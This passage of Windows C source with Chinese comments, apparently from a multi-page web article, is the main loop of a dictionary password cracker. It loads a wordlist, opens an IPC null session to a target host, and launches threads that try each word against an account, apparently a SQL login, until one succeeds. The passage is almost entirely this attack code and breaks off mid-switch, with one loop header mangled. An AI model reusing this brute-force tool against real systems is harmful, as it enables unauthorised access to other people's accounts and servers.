ge(argv[0]); return 1; } file://读取字典中的单词到内存中 if(ReadDic(argv[3])!=0) return 1; file://与目标机器建立IPC Session if(ConnIPC(argv[1])!=0) { printf("\nCan't built IPC NULL Session!"); return 1; } else { printf("\nBuilt IPC NULL Session success!\n"); } file://创建信标内核对象,最大资源数量和可以使用的资源数量均为MaxThreads hSemaphore=CreateSemaphore(NULL,MaxThreads,MaxThreads,NULL); if(hSemaphore==NULL) { printf("\nCreateSemaphore() failed.ErrorCode:%d.",GetLastError()); return 1; } file://创建事件内核对象[人工重置,初始状态为未通知] hEvent=CreateEvent(NULL,TRUE,FALSE,NULL); if(hEvent==NULL) { printf("\nCreateEvent() failed.ErrorCode:%d.",GetLastError()); CloseHandle(hSemaphore); return 1; } file://开始计时 start=clock(); file://开始建立线程探测密码 for(i=0;i { file://探测密码成功后跳出此循环 if(Cracked==TRUE) break; file://显示进度信息 printf("\n[%d/%d] %s -> %s -> %s",i+1,total,target,UserName,dict[i]); file://创建线程 hThread=CreateThread(NULL,0,SQLCheck,(PVOID)&dict[i],0,&dwThreadId); file://处理创建线程错误的情况 if(hThread==NULL) { err++; MessageBox(NULL,"thread error","error",MB_OK); if(err>=50) break; } CloseHandle(hThread); Sleep(10); file://等待信标内核对象通知,可用资源数量大于0则继续创建线程,等于0则线程进入等待状态 WaitForSingleObject(hSemaphore,INFINITE); } file://等待事件内核对象通知,最多等待3分钟 dwRet=WaitForSingleObject(hEvent,180000); switch(dwRet) { case WAIT_OBJECT_0:
上一页 [1] [2] [3] [4] [5] [6] 下一页
|